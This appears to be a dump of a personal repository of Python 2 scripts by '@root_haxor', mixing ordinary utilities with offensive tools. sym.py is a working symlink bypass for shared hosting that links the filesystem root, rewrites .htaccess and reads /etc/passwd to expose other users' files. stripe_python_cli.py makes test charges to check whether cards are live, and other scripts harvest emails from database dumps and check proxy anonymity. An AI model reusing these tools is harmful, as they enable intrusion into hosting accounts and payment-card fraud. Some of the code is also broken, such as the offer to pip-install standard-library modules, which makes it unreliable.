@root_haxor 3 | #fixed code errors 4 | #emailx directory will contain the list of files, result (inside the emailx dir) directory will contain the final result files. 5 | # ! Warning !: Make sure you move the final result file to another folder after script execution. 6 | try: 7 | import re 8 | except ImportError: 9 | print '[!] Failed to Import regex ( re )' 10 | try: 11 | choice = raw_input('[*] Wana install regex? [y/n] ') 12 | except KeyboardInterrupt: 13 | sys.exit('\n[!] User Interrupted Choice') 14 | if choice.strip().lower()[0] == 'y': 15 | print '[*] Attempting to Install regex... ', 16 | sys.stdout.flush() 17 | try: 18 | import pip 19 | pip.main(['install', '-q', 're']) 20 | import re 21 | print '[DONE]' 22 | except Exception: 23 | sys.exit("[FAIL]") 24 | elif choice.strip().lower()[0] == 'n': 25 | sys.exit('[*] User Denied Auto-install') 26 | else: 27 | sys.exit('[!] Invalid Decision') 28 | 29 | try: 30 | import timeit 31 | except ImportError: 32 | print '[!] Failed to Import timeit' 33 | try: 34 | choice = raw_input('[*] Wana install timeit module? [y/n] ') 35 | except KeyboardInterrupt: 36 | sys.exit('\n[!] User Interrupted Choice') 37 | if choice.strip().lower()[0] == 'y': 38 | print '[*] Attempting to Install timeit... ', 39 | sys.stdout.flush() 40 | try: 41 | import pip 42 | pip.main(['install', '-q', 'timeit']) 43 | import timeit 44 | print '[DONE]' 45 | except Exception: 46 | sys.exit("[FAIL]") 47 | elif choice.strip().lower()[0] == 'n': 48 | sys.exit('[*] User Denied Auto-install') 49 | else: 50 | sys.exit('[!] Invalid Decision') 51 | try: 52 | import termcolor 53 | except ImportError: 54 | print '[!] Failed to Import termcolor' 55 | try: 56 | choice = raw_input('[*] Wana install termcolor module? [y/n] ') 57 | except KeyboardInterrupt: 58 | sys.exit('\n[!] User Interrupted Choice') 59 | if choice.strip().lower()[0] == 'y': 60 | print '[*] Attempting to Install termcolor... ', 61 | sys.stdout.flush() 62 | try: 63 | import pip 64 | pip.main(['install', '-q', 'termcolor']) 65 | from termcolor import colored 66 | print '[DONE]' 67 | except Exception: 68 | sys.exit("[FAIL]") 69 | elif choice.strip().lower()[0] == 'n': 70 | sys.exit('[*] User Denied Auto-install') 71 | else: 72 | sys.exit('[!] Invalid Decision') 73 | 74 | try: 75 | import colorama 76 | except ImportError: 77 | print '[!] Failed to Import colorama' 78 | try: 79 | choice = raw_input('[*] Wana install colorama module? [y/n] ') 80 | except KeyboardInterrupt: 81 | sys.exit('\n[!] User Interrupted Choice') 82 | if choice.strip().lower()[0] == 'y': 83 | print '[*] Attempting to Install colorama... ', 84 | sys.stdout.flush() 85 | try: 86 | import pip 87 | pip.main(['install', '-q', 'colorama']) 88 | import colorama 89 | print '[DONE]' 90 | except Exception: 91 | sys.exit("[FAIL]") 92 | elif choice.strip().lower()[0] == 'n': 93 | sys.exit('[*] User Denied Auto-install') 94 | else: 95 | sys.exit('[!] Invalid Decision') 96 | 97 | import os, sys 98 | from sys import platform as _platform 99 | from termcolor import colored 100 | if _platform == 'win32': 101 | import colorama 102 | colorama.init() 103 | def green(text): 104 | return colored(text, 'green', attrs=['bold']) 105 | def cyan(text): 106 | return colored(text, 'cyan', attrs=['bold']) 107 | def red(text): 108 | return colored(text, 'red', attrs=['bold']) 109 | def yellow(text): 110 | return colored(text, 'yellow', attrs=['bold']) 111 | 112 | #Email Regex 113 | regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+\/=?^_`" 114 | "{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(\.|" 115 | "\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)")) 116 | 117 | def main(): 118 | os.system('cls') 119 | banner = '''\n Feel the joy of automation with python 120 | Developer: @root_haxor 121 | usage 122 | ''' 123 | print yellow(banner) 124 | try: 125 | raw_input(" [+] PRESS ENTER TO TRIGGER THE SCRIPT [+]\n") 126 | except Exception: 127 | sys.exit("Forcefully exit...") 128 | #Generator func, email filter using regex 129 | def get_emails(file): 130 | with open(file) as f: 131 | for line in f: 132 | for email in re.findall(regex, line.lower()): 133 | if not email[0].startswith('//'): 134 | yield email[0] 135 | 136 | def removeduplicate(filename, output): 137 | s = set() 138 | with open(output, 'w') as out: 139 | for line in open(filename): 140 | if line not in s: 141 | out.write(line) 142 | s.add(line) 143 | 144 | if __name__ == '__main__': 145 | main() 146 | #Start the timer 147 | start = timeit.default_timer() 148 | #Get current directory path 149 | dirc = os.getcwd() 150 | #Check if output file already exists then delete. 151 | listdir = dirc+'\emailx' 152 | if not os.path.exists(listdir): 153 | os.makedirs(listdir) 154 | sys.exit(red('\n[!] Put files in emailx directory')) 155 | 156 | os.chdir(listdir) 157 | if not os.path.exists('result'): 158 | os.makedirs('result') 159 | if os.path.isfile('result\output_combined.txt'): 160 | print red("\n[!] Output file already existed! OverWriting....") 161 | os.system('del result\output_combined.txt') 162 | #Add more extensions if needed 163 | ext = ['.sql', '.txt', '.log'] 164 | #Listing current directory for files, with given extensions 165 | files = [f for f in os.listdir(listdir) if f.endswith(tuple(ext))] 166 | #if files are none break code 167 | if len(files) == 0: 168 | sys.exit(red("\n[!] No files in emailx directory.")) 169 | #just a for loop for generator 170 | for onebyone in files: 171 | for email in get_emails(onebyone): 172 | wrt = open('result\output_combined.txt', 'a') 173 | wrt.write(email+"\n") 174 | #if you wanna use the commented code below, import datetime and add this line: to code datetime = datetime.datetime() 175 | #count = open('dup_final.txt', 'r').readlines() 176 | #report ='''\n############################################################# 177 | ######## Total no. of emails: %s, Y/M/D: %s ######## 178 | ############ Say thankyou to author: @root_haxor ############ 179 | #############################################################\n'''%(len(count), datetime.date()) 180 | #with file('dup_final.txt', 'r') as original: data = original.read() 181 | #with file('dup_final.txt', 'w') as modified: modified.write(report+'\n' + data) 182 | print cyan("Processing file: ")+onebyone 183 | #print cyan("Processing file: ")+onebyone+cyan(" Time: "),(timeit.timeit("get_emails(file)", setup="from __main__ import get_emails", number=10000)) 184 | 185 | #stop timer 186 | stop = timeit.default_timer() 187 | #count the total between start and stop interval 188 | total_time = stop - start 189 | #divide into minutes and seconds 190 | mins, secs = divmod(total_time, 60) 191 | print cyan("\nTotal, %s files processing time: ")%(len(files))+("%s")%(float(str(secs)[:4]))+"s"+"\n" 192 | print green("\n[+] Combined output file path: ")+"result\output_combined.txt" 193 | print cyan("\n[+] Removing duplicates from combined list, please wait ! ") 194 | #start timer 195 | start = timeit.default_timer() 196 | #output files for result after duplicate removed from combined emails list 197 | finaloutput = "result\dup_output.txt" 198 | if os.path.isfile("result\dup_output.txt"): 199 | print red("[!] dup_output.txt already exists. OverWriting...") 200 | os.remove("result\dup_output.txt") 201 | try: 202 | removeduplicate('result\output_combined.txt', finaloutput) 203 | except Exception as e: 204 | sys.exit("\n[!] Error: No emails or files found.") 205 | stop = timeit.default_timer() 206 | totaltime = stop - start 207 | mins, secs = divmod(totaltime, 60) 208 | sec = float(str(secs)[:4]) 209 | print green("[+] Duplicates removing succesful, took ")+"%ss"%(sec) 210 | print green("\n[+] Final output file path: ")+finaloutput -------------------------------------------------------------------------------- /exif_remove.py: -------------------------------------------------------------------------------- 1 | #Simple Code For Removing The Exif Data From Files 2 | #Exif Data Contains Values which can be peril for your privacy 3 | #Make a folder drop files in that folder, also drop this script in same folder and run. 4 | #Have a Happy Privacy before uploading content online 5 | from PIL import Image 6 | import os, sys 7 | 8 | '''Old works single file work, sucks 9 | 10 | image_file = raw_input(" Enter the file: ") 11 | 12 | if os.path.isfile(image_file): 13 | 14 | 15 | directory, filename = os.path.split(image_file) 16 | 17 | image = Image.open(image_file) 18 | 19 | data = list(image.getdata()) 20 | 21 | image_without_exif = Image.new(image.mode, image.size) 22 | 23 | image_without_exif.putdata(data) 24 | 25 | image_without_exif.save(directory + "/notrace_" + filename) 26 | 27 | print(" file saved: %s/x_%s" % (directory, filename)) 28 | 29 | sys.exit(0) 30 | else: 31 | print(" File Path not correct or found try again Sucka !") 32 | 33 | sys.exit(1)''' 34 | #exif remove data from files directorys 35 | relevant_path = os.getcwd() 36 | included_extenstions = ['jpg', 'bmp', 'png', 'gif'] 37 | l = [files for files in os.listdir(relevant_path) 38 | if any(files.endswith(ext) for ext in included_extenstions)] 39 | for image_file in l: 40 | image = Image.open(image_file) 41 | data = list(image.getdata()) 42 | image_without_exif = Image.new(image.mode, image.size) 43 | image_without_exif.putdata(data) 44 | directory = os.getcwd() 45 | image_without_exif.save(directory + "/ex_" + image_file) 46 | print "Exif data removed, saved as %s\ex_%s" % (directory, image_file) 47 | delete = os.remove(image_file) 48 | print "\n\nFiles with exif data deleted automatically, thankyou" 49 | -------------------------------------------------------------------------------- /geo-trace.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | #Locate geo address of IP's using maxmind free database 4 | #This will query the MaxMind database to get an approximate geolocation of an IP address 5 | 6 | import sys 7 | import socket 8 | import urllib 9 | import gzip 10 | import os 11 | try: 12 | import pygeoip 13 | except ImportError: 14 | print '[!] Failed to Import pygeoip' 15 | try: 16 | choice = raw_input('[*] Wana install pygeoip? [y/n] ') 17 | except KeyboardInterrupt: 18 | print '\n[!] User Interrupted Choice' 19 | sys.exit(1) 20 | if choice.strip().lower()[0] == 'y': 21 | print '[*] Attempting to Install pygeoip... ', 22 | sys.stdout.flush() 23 | try: 24 | import pip 25 | pip.main(['install', '-q', 'pygeoip']) 26 | import pygeoip 27 | print '[DONE]' 28 | except Exception: 29 | print '[FAIL]' 30 | sys.exit(1) 31 | elif choice.strip().lower()[0] == 'n': 32 | print '[*] User Denied Auto-install' 33 | sys.exit(1) 34 | else: 35 | print '[!] Invalid Decision' 36 | sys.exit(1) 37 | 38 | class Locator(object): 39 | def __init__(self, url=False, ip=False, datfile=False): 40 | self.url = url 41 | self.ip = ip 42 | self.datfile = datfile 43 | self.target = '' 44 | def check_database(self): 45 | if not self.datfile: 46 | self.datfile = '/usr/share/GeoIP/GeoLiteCity.dat' 47 | else: 48 | if not os.path.isfile(self.datfile): 49 | print '[!] Failed to Detect Specified Database' 50 | sys.exit(1) 51 | else: 52 | return 53 | if not os.path.isfile(self.datfile): 54 | print '[!] Default Database Detection Failed' 55 | try: 56 | choice = raw_input('[*] Attempt to Auto-install Database? [y/N] ') 57 | except KeyboardInterrupt: 58 | print '\n[!] User Interrupted Choice' 59 | sys.exit(1) 60 | if choice.strip().lower()[0] == 'y': 61 | print '[*] Attempting to Auto-install Database... ', 62 | sys.stdout.flush() 63 | if not os.path.isdir('/usr/share/GeoIP'): 64 | os.makedirs('/usr/share/GeoIP') 65 | try: 66 | urllib.urlretrieve('http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz', '/usr/share/GeoIP/GeoLiteCity.dat.gz') 67 | except Exception: 68 | print '[FAIL]' 69 | print '[!] Failed to Download Database' 70 | sys.exit(1) 71 | try: 72 | with gzip.open('/usr/share/GeoIP/GeoLiteCity.dat.gz', 'rb') as compressed_dat: 73 | with open('/usr/share/GeoIP/GeoLiteCity.dat', 'wb') as new_dat: 74 | new_dat.write(compressed_dat.read()) 75 | except IOError: 76 | print '[FAIL]' 77 | print '[!] Failed to Decompress Database' 78 | sys.exit(1) 79 | os.remove('/usr/share/GeoIP/GeoLiteCity.dat.gz') 80 | print '[DONE]\n' 81 | elif choice.strip().lower()[0] == 'n': 82 | print '[!] User Denied Auto-Install' 83 | sys.exit(1) 84 | else: 85 | print '[!] Invalid Choice' 86 | sys.exit(1) 87 | def query(self): 88 | if not not self.url: 89 | print '[*] Translating %s: ' %(self.url), 90 | sys.stdout.flush() 91 | try: 92 | self.target += socket.gethostbyname(self.url) 93 | print self.target 94 | except Exception: 95 | print '\n[!] Failed to Resolve URL' 96 | return 97 | else: 98 | self.target += self.ip 99 | try: 100 | print '[*] Querying for Records of %s...\n' %(self.target) 101 | query_obj = pygeoip.GeoIP(self.datfile) 102 | for key, val in query_obj.record_by_addr(self.target).items(): 103 | print '%s: %s' %(key, val) 104 | print '\n[*] Query Complete!' 105 | except Exception: 106 | print '\n[!] Failed to Retrieve Records' 107 | return 108 | 109 | if __name__ == '__main__': 110 | import os, sys 111 | os.system('clear') 112 | print (""" 113 | 114 | [+] MAXMIND DATABASE TOOL [+] 115 | 116 | author: @root_haxor 117 | 118 | """) 119 | import argparse 120 | parser = argparse.ArgumentParser(description='Geo-IP Location Tool') 121 | parser.add_argument('--url', help='Locate an IP via URL', action='store', default=False, dest='url') 122 | parser.add_argument('-t', '--target', help='Locate the specified IP', action='store', default=False, dest='ip') 123 | parser.add_argument('--dat', help='Custom database filepath', action='store', default=False, dest='datfile') 124 | args = parser.parse_args() 125 | if ((not not args.url) and (not not args.ip)) or ((not args.url) and (not args.ip)): 126 | parser.error('invalid target specification') 127 | try: 128 | locate = Locator(url=args.url, ip=args.ip, datfile=args.datfile) 129 | locate.check_database() 130 | locate.query() 131 | except Exception: 132 | print '\n[!] An Unknown Error Occured' -------------------------------------------------------------------------------- /imeinfo.py: -------------------------------------------------------------------------------- 1 | import urllib2, os, sys, time 2 | from bs4 import BeautifulSoup as bs 3 | 4 | imei = raw_input("Input IMEI Here: ") 5 | if (len(imei) < 13): 6 | print "\n[+] Oops! Something Went Wrong Enter IMEI Correctly [+]" 7 | exit() 8 | elif (len(imei) > 13): 9 | print "\nProcessing Data on server! Wait a Minute " 10 | link = "http://iphoneimei.info/?imei=%s"%(imei) 11 | open = urllib2.urlopen(link).read() 12 | soup = bs(open, 'html.parser') 13 | t = soup.findAll('span') 14 | text = [] 15 | try: 16 | if (t[5].text == "Lost Mode"): 17 | stolen = "Phone is either Stolen or lost" 18 | elif (t[5].text != "Lost Mode"): 19 | stolen = "Phone Activated" 20 | except IndexError: 21 | print "\nSorry mate You have reached hourly limit for checking imei, Wait 1 Hour then try again" 22 | sys.exit() 23 | #for x in range(0,14): 24 | # print t[x].text 25 | banner = ''' 26 | iDevice Imei Info Python Script 27 | ''' 28 | if (os.name == "nt"): 29 | os.system('cls') 30 | print banner 31 | elif (os.name == "posix"): 32 | os.system('clear') 33 | print banner 34 | hr = soup.findAll('a') 35 | try: 36 | print "\n"+t[0].text + t[1].text +"\n"+ t[2].text + t[3].text +"\n"+ t[4].text + stolen + "\n"+ t[6].text + t[7].text +"\n" +t[8].text + t[9].text + "\n"+t[10].text +t[11].text+"\n"+t[12].text+t[13].text +"\n"+ "Check For Blacklist: " + hr[4]['href'] + "\n\n"+ "Gathering Information From Blacklist url ....\n" 37 | except KeyError: 38 | print "Sorry Server Dont Have Information On Imei: %s \n\nNOTICE: i mainly built for checking idevices IMEI's So If You Dont have an Iphone or some like that you better delete me! "%(imei) 39 | sys.exit() 40 | time.sleep(3) 41 | link1 = hr[4]['href'] 42 | open1 = urllib2.urlopen(link1).read() 43 | soup = bs(open1, 'html.parser') 44 | tt = soup.findAll('td') 45 | text = [] 46 | print tt[0].text + tt[1].text +"\n"+ tt[2].text+ tt[3].text+"\n"+tt[4].text+tt[5].text+"\n"+tt[6].text+tt[7].text+"\n"+tt[8].text+tt[9].text+"\n"+tt[10].text+tt[11].text+"\n"+tt[12].text+tt[13].text+"\n"+tt[14].text+tt[15].text+"\n"+tt[16].text+tt[17].text+"\n"+tt[18].text+tt[19].text+"\n"+tt[20].text+tt[21].text+"\n"+tt[22].text+tt[23].text+"\n"+tt[24].text+tt[25].text+"\n"+tt[26].text+tt[27].text+"\n"+tt[28].text+tt[29].text+"\n"+tt[30].text+tt[31].text+"\n"+tt[32].text+tt[33].text+"\n"+tt[34].text+tt[35].text+"\n"+tt[36].text+tt[37].text+"\n"+tt[38].text+tt[39].text+"\n"+tt[40].text+tt[41].text+"\n"+tt[42].text+tt[43].text+"\n"+tt[44].text+tt[45].text 47 | -------------------------------------------------------------------------------- /proxy.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import bs4 3 | import time 4 | from threading import Thread 5 | from Queue import Queue 6 | import sys 7 | 8 | 9 | def proxy_check(proxy): 10 | try: 11 | proxy = proxy.rstrip() 12 | proxy_judge = "http://www.proxyjudge.info/" # any proxy judge can go here 13 | 14 | proxyy={"http": "http://"+proxy} 15 | r = requests.get(proxy_judge,proxies= proxyy,timeout=10) 16 | soup = bs4.BeautifulSoup(r.content,"html.parser") 17 | data = soup.find_all("body") 18 | 19 | 20 | for item in data: 21 | 22 | #Low anonymity 23 | if "HTTP_X_FORWARDED_FOR" in item.text and "HTTP_X_FORWARDED_FOR = unknown" not in item.text : 24 | 25 | if("L" in sys.argv[3]): 26 | poxy_save_file = open(sys.argv[2], 'a') 27 | poxy_save_file.write(str(proxy)+'\n') # save proxy to file 28 | poxy_save_file.close() 29 | 30 | print str(proxy) + " Low Alive" 31 | 32 | time.sleep(5.5) 33 | 34 | #Medium anonymity 35 | elif "HTTP_X_FORWARDED_FOR = unknown" in item.text: 36 | 37 | if("M" in sys.argv[3]): 38 | poxy_save_file = open(sys.argv[2], 'a') 39 | poxy_save_file.write(str(proxy)+'\n') # save proxy to file 40 | poxy_save_file.close() 41 | 42 | print str(proxy) + " Medium Alive" 43 | 44 | time.sleep(5.5) 45 | 46 | # High anonymity 47 | elif "HTTP_X_FORWARDED_FOR" not in item.text and "HTTP_X_FORWARDED_FOR = unknown" not in item.text and "REMOTE_ADDR" in item.text : 48 | 49 | 50 | if("H" in sys.argv[3]): 51 | poxy_save_file = open(sys.argv[2], 'a') 52 | poxy_save_file.write(str(proxy)+'\n') # save proxy to file 53 | poxy_save_file.close() 54 | 55 | print str(proxy) + " High Alive" 56 | 57 | time.sleep(5.5) 58 | else: 59 | time.sleep(5.5) 60 | except requests.exceptions.Timeout: 61 | time.sleep(.5) 62 | #print str(proxy) + " Dead" 63 | except: 64 | time.sleep(.5) 65 | #print str(proxy) + " Dead" 66 | time.sleep(.5) 67 | 68 | 69 | 70 | def get_proxy(i,q): 71 | #print "Starting thread [" + str(i)+"]\n" 72 | time.sleep(5) 73 | while True: 74 | proxy = q.get() # get proxy 75 | proxy_check(proxy) 76 | q.task_done() 77 | 78 | if(len(sys.argv) < 4): 79 | print("\n\nHelp: proxy.py list.txt output.txt LMH \nPlease Put Proxy list in this form = 10.0.0.0:8080 (Using ':' before Port Number) \n\nFilter ANONYMITY LEVEL\n L = Low\n M = Med\n H = High\n\nSuppose You need only High Anonymity Proxy List Use = proxy.py list.txt output.txt H\n") 80 | else: 81 | num_threads = 300 82 | q_queue = Queue() 83 | 84 | for i in range(num_threads): # number of threads to spin up 85 | worker = Thread(target=get_proxy, args=(i,q_queue,)) 86 | worker.setDaemon(True) 87 | worker.start() 88 | 89 | with open(sys.argv[1]) as fp: 90 | for line in fp: 91 | q_queue.put(line) # put list in queue 92 | 93 | q_queue.join() # wehen queue is empty exit 94 | print 'Done!!' -------------------------------------------------------------------------------- /py-to-php_AES.php: -------------------------------------------------------------------------------- 1 | 35 | -------------------------------------------------------------------------------- /py_gmail.py: -------------------------------------------------------------------------------- 1 | import email, getpass, imaplib, os 2 | 3 | detach_dir = '.' # directory where to save attachments (default: current) 4 | user = raw_input("Enter your GMail email address: ") 5 | pwd = getpass.getpass("Enter your password: ") 6 | 7 | # connecting to the gmail imap server 8 | m = imaplib.IMAP4_SSL("imap.gmail.com") 9 | m.login(user,pwd) 10 | m.select("inbox") # here you a can choose a mail box like INBOX instead 11 | # use m.list() to get all the mailboxes 12 | 13 | resp, items = m.search(None, "ALL") # you could filter using the IMAP rules here (check http://www.example-code.com/csharp/imap-search-critera.asp) 14 | items = items[0].split() # getting the mails id 15 | 16 | for emailid in items: 17 | resp, data = m.fetch(emailid, "(RFC822)") # fetching the mail, "`(RFC822)`" means "get the whole stuff", but you can ask for headers only, etc 18 | email_body = data[0][1] # getting the mail content 19 | mail = email.message_from_string(email_body) # parsing the mail content to get a mail object 20 | 21 | #Check if any attachments at all 22 | if mail.get_content_maintype() != 'multipart': 23 | continue 24 | 25 | print "["+mail["From"]+"] :" + mail["Subject"] 26 | 27 | # we use walk to create a generator so we can iterate on the parts and forget about the recursive headach 28 | for part in mail.walk(): 29 | # multipart are just containers, so we skip them 30 | if part.get_content_maintype() == 'multipart': 31 | continue 32 | 33 | # is this part an attachment ? 34 | if part.get('Content-Disposition') is None: 35 | continue 36 | 37 | #filename = part.get_filename() 38 | 39 | filename = mail["From"] + "_hw1answer" 40 | 41 | att_path = os.path.join(detach_dir, filename) 42 | 43 | #Check if its already there 44 | if not os.path.isfile(att_path) : 45 | # finally write the stuff 46 | fp = open(att_path, 'wb') 47 | fp.write(part.get_payload(decode=True)) 48 | fp.close() 49 | -------------------------------------------------------------------------------- /rename_mass.py: -------------------------------------------------------------------------------- 1 | import os, sys 2 | banner = ''' 3 | 4 | String remove from multiple file names- v.0.1.2 5 | 6 | ''' 7 | curpath = os.getcwd() 8 | try: 9 | inn = str(raw_input('\n\nInput String : ')) 10 | except KeyboardInterrupt: 11 | print "Order: Close this program!\n\n" 12 | sys.exit() 13 | paths = (os.path.join(root, filename) 14 | for root, _, filenames in os.walk(curpath) 15 | for filename in filenames) 16 | 17 | for path in paths: 18 | newname = path.replace(inn, '') 19 | if newname != path: 20 | os.rename(path, newname) 21 | 22 | print "\nSuccess!" 23 | -------------------------------------------------------------------------------- /sizecheck.py: -------------------------------------------------------------------------------- 1 | import urllib2, os, sys 2 | import shutil 3 | if os.name == 'posix': 4 | os.system ('clear') 5 | else: 6 | os.system('cls') 7 | def url(): 8 | banner = """ 9 | Welcome MothaFucka. I Know i am useless, but you still using 10 | """ 11 | print banner 12 | url = raw_input("Link You Wana check Size oF : ") 13 | response = urllib2.urlopen(url) 14 | result = len(response.read()) 15 | final = result/float(1024) 16 | print "\n\nPage Size is : %s KB" % (round(final)) 17 | url() -------------------------------------------------------------------------------- /split.py: -------------------------------------------------------------------------------- 1 | from itertools import chain, islice 2 | print "\n RooT HaXor \n Usage python split.py your_file.txt \n Everyfile will contain 300*100 lines after execution" 3 | def chunks(iterable, n): 4 | "chunks(ABCDE,2) => AB CD E" 5 | iterable = iter(iterable) 6 | while True: 7 | # store one line in memory, 8 | # chain it to an iterator on the rest of the chunk 9 | yield chain([next(iterable)], islice(iterable, n-1)) 10 | 11 | l = 300*1000 12 | file_large = raw_input() 13 | with open(file_large) as bigfile: 14 | for i, lines in enumerate(chunks(bigfile, l)): 15 | file_split = '{}.{}'.format(file_large, i) 16 | with open(file_split, 'w') as f: 17 | f.writelines(lines) 18 | -------------------------------------------------------------------------------- /stripe_python_cli.py: -------------------------------------------------------------------------------- 1 | import stripe, sys, json 2 | from sys import platform as _platform 3 | from termcolor import colored 4 | if _platform == 'win32': 5 | import colorama 6 | colorama.init() 7 | def green(text): 8 | return colored(text, 'green', attrs=['bold']) 9 | def red(text): 10 | return colored(text, 'red', attrs=['bold']) 11 | 12 | stripe.api_key = "secret_KEY" 13 | 14 | info = [] 15 | name = raw_input("\nName: ") 16 | try: 17 | info = raw_input('\nEnter Card: ').split() 18 | except KeyboardInterrupt: 19 | print "[+] :( Exiting " 20 | sys.exit(1) 21 | 22 | if len(info[0]) != 16: 23 | print red("\nInvalid Card Number :(") 24 | sys.exit(0) 25 | #Create a Token for card. 26 | tokreq = stripe.Token.create( 27 | card={ 28 | "name": name, 29 | "number": info[0], 30 | "exp_month": info[1], 31 | "exp_year": info[2], 32 | "cvc": info[3] 33 | }, 34 | ) 35 | 36 | tokk = json.dumps(tokreq) 37 | token = json.loads(tokk) 38 | token = token['id'] 39 | 40 | #Charge Card. 41 | try: 42 | status = stripe.Charge.create( 43 | amount=50, 44 | currency="usd", 45 | source=token, # obtained with Stripe.js 46 | description="Automated Charge" 47 | ) 48 | except stripe.error.CardError as e: 49 | print red("\n[!] Card Declined :( ") + str(e) 50 | sys.exit(0) 51 | output = json.dumps(status) 52 | outpt = json.loads(output) 53 | output = outpt['status'] 54 | if output == 'succeeded': 55 | print green("\n[+] Card is Alive :)") -------------------------------------------------------------------------------- /sym.py: -------------------------------------------------------------------------------- 1 | #/*Python 2 | 3 | import time 4 | import os 5 | import sys 6 | import re 7 | 8 | os.system("color C") 9 | 10 | hta = "\nFile : .htaccess // Created Successfully!\n" 11 | f = "All Processes Done!\nSymlink Bypassed Successfully!\n" 12 | print "\n" 13 | print "~"*60 14 | print "RooT Haxor" 15 | print "~"*60 16 | 17 | os.makedirs('r00t') 18 | os.chdir('r00t') 19 | 20 | susr=[] 21 | sitex=[] 22 | os.system("ln -s / r00t.txt") 23 | 24 | h = "Options Indexes FollowSymLinks\nDirectoryIndex r00t.phtml\nAddType txt .php\nAddHandler txt .php" 25 | m = open(".htaccess","w+") 26 | m.write(h) 27 | m.close() 28 | print hta 29 | 30 | sf = "
NO | Usernames | Domains | " 31 | 32 | o = open('/etc/passwd','r') 33 | o=o.read() 34 | o = re.findall('/home/\w+',o) 35 | 36 | for xusr in o: 37 | xusr=xusr.replace('/home/','') 38 | susr.append(xusr) 39 | print "-"*30 40 | xsite = os.listdir("/var/named") 41 | 42 | for xxsite in xsite: 43 | xxsite=xxsite.replace(".db","") 44 | sitex.append(xxsite) 45 | print f 46 | path=os.getcwd() 47 | if "/public_html/" in path: 48 | path="/public_html/" 49 | else: 50 | path = "/html/" 51 | counter=1 52 | ips=open("r00t.phtml","w") 53 | ips.write(sf) 54 | 55 | for fusr in susr: 56 | for fsite in sitex: 57 | fu=fusr[0:5] 58 | s=fsite[0:5] 59 | if fu==s: 60 | ips.write("
---|---|---|
%s | %s | %s | "%(counter,fusr,fusr,path,fsite)) 61 | counter=counter+1 -------------------------------------------------------------------------------- /target-info.py: -------------------------------------------------------------------------------- 1 | import urllib, os, sys 2 | import urllib2 3 | from urllib2 import urlopen 4 | from termcolor import colored, cprint 5 | if __name__ == "__main__": 6 | my_ip = urlopen('http://ip.42.pl/raw').read() 7 | print ''' 8 | 9 | Get Reverse DNS, GeoIP, NMAP, Traceroute 10 | Pulls HTTP Headers for an IP address 11 | 12 | ''' 13 | print 'Your Public IP address is {0}'.format(my_ip) 14 | print('\n') 15 | badip = raw_input('Target IP: ') 16 | os.system('cls') 17 | reversed_dns = urllib.urlopen('http://api.hackertarget.com/reverseiplookup/?q=' + badip).read() 18 | print('Reverse DNS Information:') 19 | print colored (reversed_dns, 'green') 20 | print('\n') 21 | geoip = urllib.urlopen('http://api.hackertarget.com/geoip/?q=' + badip).read() 22 | print('GEOIP Information:') 23 | print colored (geoip, 'green') 24 | print('\n') 25 | nmap = urllib.urlopen('http://api.hackertarget.com/nmap/?q=' + badip).read() 26 | print('NMAP Scan Result of Traget (Only Ports: 21,25,80 and 443):') 27 | print colored (nmap, 'green') 28 | print('\n') 29 | httpheaders = urllib.urlopen('http://api.hackertarget.com/httpheaders/?q=' + badip).read() 30 | print('HTTP Headers:') 31 | print colored (httpheaders, 'green') 32 | print('\n') 33 | tracert = urllib.urlopen('http://api.hackertarget.com/mtr/?q=' + badip).read() 34 | print('Trace Route Scan:') 35 | print colored (tracert, 'green') 36 | print('\n') --------------------------------------------------------------------------------